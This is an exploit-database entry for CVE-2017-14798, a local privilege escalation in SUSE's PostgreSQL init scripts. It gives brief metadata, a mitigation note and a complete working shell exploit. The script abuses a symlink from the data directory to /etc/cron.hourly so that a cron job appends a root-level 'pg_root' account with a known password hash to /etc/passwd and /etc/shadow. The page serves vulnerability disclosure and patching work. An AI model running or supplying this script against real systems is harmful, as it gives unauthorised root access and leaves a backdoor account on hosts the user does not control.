PostgreSQL 9.4-0.5.3 - Privilege Escalation

vendor:

PostgreSQL

by:

Johannes Segitz

7.0

CVSS

HIGH

Privilege Escalation

269

CWE

Product Name: PostgreSQL

Affected Version From: PostgreSQL 9.4-0.5.3

Affected Version To: PostgreSQL 9.4-0.5.3

Patch Exists: YES

Related CWE: CVE-2017-14798

CPE: a:postgresql:postgresql:9.4-0.5.3

Metasploit: https://www.rapid7.com/db/vulnerabilities/suse-cve-2017-14798/

Other Scripts: N/A

Platforms Tested: SUSE Linux Enterprise 11 SP4

2017

PostgreSQL 9.4-0.5.3 – Privilege Escalation

This exploit allows an attacker to gain root privileges on a system running PostgreSQL 9.4-0.5.3 or earlier. The exploit involves creating a symbolic link from the PostgreSQL data directory to the cron.hourly directory, which allows the attacker to write a malicious script to the cron.hourly directory. The script creates a new user with root privileges, which can then be used to gain access to the system.

Mitigation:

Upgrade to PostgreSQL 9.4-0.5.3.1 or later.

Source

Exploit-DB raw data:

# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation
# Date: 2017-10-11
# Exploit Author: Johannes Segitz
# Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722
# Software Link: -
# Version: Before postgresql-init-9.4-0.5.3.1
# Tested on: SUSE Linux Enterprise 11 SP4
# CVE : CVE-2017-14798

#!/bin/sh

# don't use spaces or other funny characters in here
CRON_DIR='/etc/cron.hourly'
CRON_FILE="$CRON_DIR/totally_not_a_lpe"

declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf')

if [ "$(whoami)" != "postgres" ]; then
  echo "Must be run as user postgres"
  exit -1
fi
cd

echo setting up exploit
mv data data2
ln -s $CRON_DIR data

echo waiting for DB restart
while [ ! -w $CRON_DIR ]; do
  sleep 1 
done

echo able to write $CRON_DIR
echo '#!/bin/sh' > $CRON_FILE
echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE
echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE
echo "rm $CRON_FILE" >> $CRON_FILE
echo "chown root.root ${CRON_DIR}" >> $CRON_FILE
chmod +x $CRON_FILE

if [ -e $CRON_FILE ]; then
  echo wrote $CRON_FILE
else
  echo failed to write $CRON_FILE, exiting
  exit 1
fi

echo cleaning up
for i in "${CLEANUP_ELEMENTS[@]}"; do
   rm -rf "$CRON_DIR/$i"
done
rm data
mv data2 data 

echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy!